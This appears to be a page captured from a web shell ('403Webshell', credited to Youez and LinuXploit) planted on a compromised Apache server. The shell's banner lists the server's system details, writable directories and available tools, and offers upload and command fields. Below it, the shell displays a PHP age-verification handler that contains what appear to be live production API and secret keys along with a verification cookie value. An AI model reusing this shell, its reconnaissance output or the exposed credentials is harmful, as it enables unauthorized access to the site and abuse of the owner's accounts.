403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/darkreachllc.com/public_html/sfwtgp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/darkreachllc.com/public_html/sfwtgp/vma.php
<?php

// production
$apiKey = 'key-p-a2c18239-badf-455f-83ab-255b5fad6925';
$secretKey = 'secret-p-98fcfa02-d356-4613-bc01-396328683faf';

// sandbox
// $apiKey = 'key-l-28a4d65e-1ed7-42aa-8859-4c77b1ebce3d';
// $secretKey = 'secret-l-869ce0f2-408f-41d0-beb0-4557d1456975';

$rUrl = 'https://join.sheseducedme.com/signup/signup.php?tpl=join6';

require("../../vendor/autoload.php");
$vma = new VerifyMyAge\OAuth($apiKey, $secretKey, $rUrl);

// $vma->useSandbox();
// Redirect or show age-gate if we don't have a code yet

if (!isset($_GET['code'])) {
    $redirectURL = $vma->redirectURL(VerifyMyAge\Countries::UNITED_STATES_OF_AMERICA);
    $_SESSION['oauth2state'] = $vma->state();
    header('Location: ' . $redirectURL);
    exit;

    // Avoid CSRF attack
} elseif (empty($_GET['state']) || (isset($_SESSION['oauth2state']) && $_GET['state'] !== $_SESSION['oauth2state'])) {
    if (isset($_SESSION['oauth2state'])) {
        unset($_SESSION['oauth2state']);
    }
    exit('Invalid state');
} else {
    try {
        // Try to get an access token using the authorization code grant.
        $accessToken = $vma->exchangeCodeByToken($_GET['code']);
        $user = $vma->user($accessToken);
    } catch (\Exception $e) {
        // Failed to get the access token or user details.
        exit($e->getMessage());
    }
}
?>

<!DOCTYPE html>
<html>

<body>
    <? if ($user['age_verified'] === true) { ?>
        <h1>Verification successful!</h1>
        <script>
            function setCookie(name, value, daysToExpire) {
                const date = new Date();
                date.setTime(date.getTime() + (daysToExpire * 24 * 60 * 60 * 1000));
                const expires = "expires=" + date.toUTCString();
                document.cookie = name + "=" + value + ";" + expires + ";path=/";
            }

            // Usage
            setCookie("averif", "IiqkJg5KHVN1mSG1FhVG27", 30); 
            setTimeout(function() {
                window.opener.postMessage({
                    verified: true,
                    url: '<?= $rUrl ?>'
                }, 'https://sheseducedme.com');
                window.close();
            }, 2000);
        </script>
    <? } else { ?>
        <h1>Verification failed!</h1>
        <script>
            setTimeout(function() {
                window.close();
            }, 2000);
        </script>

    <? } ?>
    <p>Window will automatically close.</p>

</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit